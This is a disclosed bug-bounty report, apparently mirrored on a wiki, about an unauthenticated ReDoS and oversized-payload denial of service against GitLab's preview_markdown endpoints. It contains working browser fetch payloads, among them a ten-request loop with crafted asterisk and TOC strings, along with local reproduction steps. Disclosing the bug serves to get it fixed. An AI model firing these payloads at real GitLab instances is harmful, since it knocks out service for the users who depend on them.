Backend DoS in `preview_markdown` endpoints due to unrestricted payload size
The markdown preview endpoints accept POST bodies of unlimited size and run them through a markdown pipeline that includes a regular expression vulnerable to ReDoS. An unauthenticated attacker can send a few large requests to block Puma worker threads and make the GitLab instance inaccessible.
GitLab
Originally disclosed on GitLab
- Fixed in 4 months
- Disclosed after 4 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #2023684 by joaxcar on 2023-06-13, assigned to @greg:
Report | Attachments | How To Reproduce
Report
(This is similar to what I reported in https://hackerone.com/reports/2018872 which was closed as a duplicate. I dont think that it shares the same root cause but might be related. Without any further information into what the other report contains I will report this as a seperate issue)
Summary
Sending requests to GitLabs markdown_preview endpoints can be done as an unauthenticated user. A request to these endpoints look like this
fetch("http://gitlab.example.com/GROUPNAME/PROJECTNAME/preview_markdown", {
"headers": {
"content-type": "application/json",
"x-csrf-token": "CSRF_TOKEN",
},
"body": "{\"text\":\"markdown\"}",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
The text field in the body of the request does not seem to have any length restriction. This means that an attacker can send requests with arbitrary length content that will run through the markdown helper pipeline in the backend. As an attacker, it is enough to send in a gigant string of characters in a small number of requests to have an impact on the performance of the GitLab instance.
Requests such as this one will finish in about 50 sec on my docker instance
fetch("http://gitlab.example.com/root/test/preview_markdown", {
"headers": {
"content-type": "application/json",
"x-csrf-token": document.getElementsByName("csrf-token")[0].content,
},
"body": "{\"text\":\"" +"*".repeat(10000000)+"\\n\"}",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
This is bad in itself as a small amount of requests will have an impact. But the lack of length validation also allows an attacker to use any slightly "bad" regex to achieve fully breaking requests as in a proper ReDoS attack. As an example, there is this helper function that is used to turn strings into "anchors"
https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/utils/markdown.rb#L7
PRODUCT_SUFFIX = /\s*\**\((core|starter|premium|ultimate|free|bronze|silver|gold)(\s+(only|self|saas))?\)\**/.freeze
it is used in the markdown pipeline when adding a "Table of content" to the document. See https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/filter/table_of_contents_filter.rb#L38
id = string_to_anchor(node.text[0...255])
The regex is subject to 2nd-degree polynomial ReDoS patterns, but a successful payload will need a string of about 50000 asterix. And as you can see in the code snippet only 255 characters are sent to the function.
This mitigates the risk of this regex in this case, but a small payload will still add some overhead, and this is all an attacker needs to abuse the lack of input length in the preview_markdown.
A request like this
fetch("http://gitlab.example.com/GROUPNAME/PROJECTNAME/preview_markdown", {
"headers": {
"content-type": "application/json",
"x-csrf-token": document.getElementsByName("csrf-token")[0].content,
},
"body": "{\"text\":\"[[_TOC_]]\\n\\n" +"# ********************************************************************************************************************************************************************************************************************************************************d(core)\\n".repeat(6000)+"\\n\"}",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
Will cause the request to time out after 60 seconds giving a 500 response. This can be used as any other ReDoS attack to keep an instance inaccessible with around 10 requests a minute. And as far as I can see there is no option to restrict the input size to the preview endpoint in the admin area.
Steps to reproduce
Test this on a local instance!
- Start a local instance of GitLab (you can use a docker image for this) see https://docs.gitlab.com/ee/install/docker.html
sudo docker run --detach \
--hostname gitlab.example.com \
--publish 4443:443 --publish 8080:80 --publish 2222:22 \
--name gitlab \
--restart always \
--shm-size 256m \
gitlab/gitlab-ee:latest
- When its booted run this to get the root password needed to log in as admin
sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password
__ These steps are optional if you want to see the Puma workers__
3. Access the docker terminal with sudo docker exec -it gitlab /bin/bash (gitlab here is your container name)
4. Install htop with apt-get update && apt-get install htop
5. start htop with htop
Now log in to your instance
6. Log in
7. Create a new project (make it public)
8. Go to the project main page (https://gitlab.example.com/GROUPNAME/PROJECTNAME/) (log out if you want to test unauth)
9. Open devtools and go to console, run this command (make sure you are in the right page as the POC will use the URL and CSRF-token from the page)
for (let i = 0; i < 10; i++){
fetch(document.location.href + "/preview_markdown", {
"headers": {
"content-type": "application/json",
"x-csrf-token": document.getElementsByName('csrf-token')[0].content,
},
"body": "{\"text\":\"[[_TOC_]]\\n\\n" +"# ********************************************************************************************************************************************************************************************************************************************************d(core)\\n".repeat(6000)+"\\n\"}",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
}
This will make 10 requests to the preview_markdown endpoint
10. Go to the network tab and see that all requests are pending
11. open a new tab and try to visit your instance again (https://gitlab.example.com). It will not load until the requests have timed out (about a minute)
12. You can send the requests again and go into htop in the terminal session from step 4 and see the Puma worker threads being blocked
Impact
ReDoS takes up CPU and causes resource consumption by a low amount of requests. Can keep an instance inaccessible with about 10 requests a minute.
I give this a CVSS score of 7.5 as that match up with the three other issues in markdown_preview that got fixed in 16.0.2 https://about.gitlab.com/releases/2023/06/05/security-release-gitlab-16-0-2-released/#redos-via-frontmatterfilter-in-any-markdown-fields
The preview_markdown endpoints are available for unauthenticated users.
What is the current bug behavior?
The regexp used to validate string_to_anchor is vulnerable to ReDoS and the preview_markdown endpoints does not restrict the POST body content length
What is the expected correct behavior?
The regexp needs to be rewritten to avoid locking up the Puma threads, and there should be a length restriction to the endpoints
Images


Output of checks
This bug happens on GitLab.com
Results of GitLab environment info
System information
System:
Current User: git
Using RVM: no
Ruby Version: 3.0.6p216
Gem Version: 3.4.13
Bundler Version:2.4.13
Rake Version: 13.0.6
Redis Version: 6.2.11
Sidekiq Version:6.5.7
Go Version: unknown
GitLab information
Version: 16.0.1
Revision: 34d6370bacd
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 13.8
URL: http://gitlab.example.com
HTTP Clone URL: http://gitlab.example.com/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.20.0
Repository storages:
- default: unix:/var/opt/gitlab/gitaly/gitaly.socket
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Impact
ReDoS takes up CPU and causes resource consumption by a low amount of requests. Can keep an instance inaccessible with about 10 requests a minute.
I give this a CVSS score of 7.5 as that match up with the three other issues in markdown_preview that got fixed in 16.0.2 https://about.gitlab.com/releases/2023/06/05/security-release-gitlab-16-0-2-released/#redos-via-frontmatterfilter-in-any-markdown-fields
The preview_markdown endpoints are available for unauthenticated users.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the combination of no length limit on the preview_markdown endpoint and a regex in string_to_anchor that is vulnerable to ReDoS.
Impact
An unauthenticated attacker could keep a GitLab instance inaccessible with about 10 requests per minute by blocking Puma worker threads.
What the attacker needed
None (unauthenticated)
The fix
The regex should be rewritten to avoid ReDoS and a length restriction should be added to the preview_markdown endpoints.
How it was found
- Start a local GitLab instance (e.g., using Docker).
- Log in and create a public project.
- Go to the project main page and open the browser console.
- Run a script that sends multiple POST requests to the preview_markdown endpoint with a large crafted markdown payload.
- Observe in the network tab that the requests remain pending.
- Try to load the GitLab instance in a new tab; it will not load until the requests time out.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A regular expression (regex) is a pattern used to find text. Some regex patterns can take a very long time on certain inputs, which is called ReDoS (regular expression denial of service). Here, the markdown preview feature accepts very large inputs and processes them with such a regex, so an attacker can send a few big requests to keep the server busy and stop it from responding to others.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.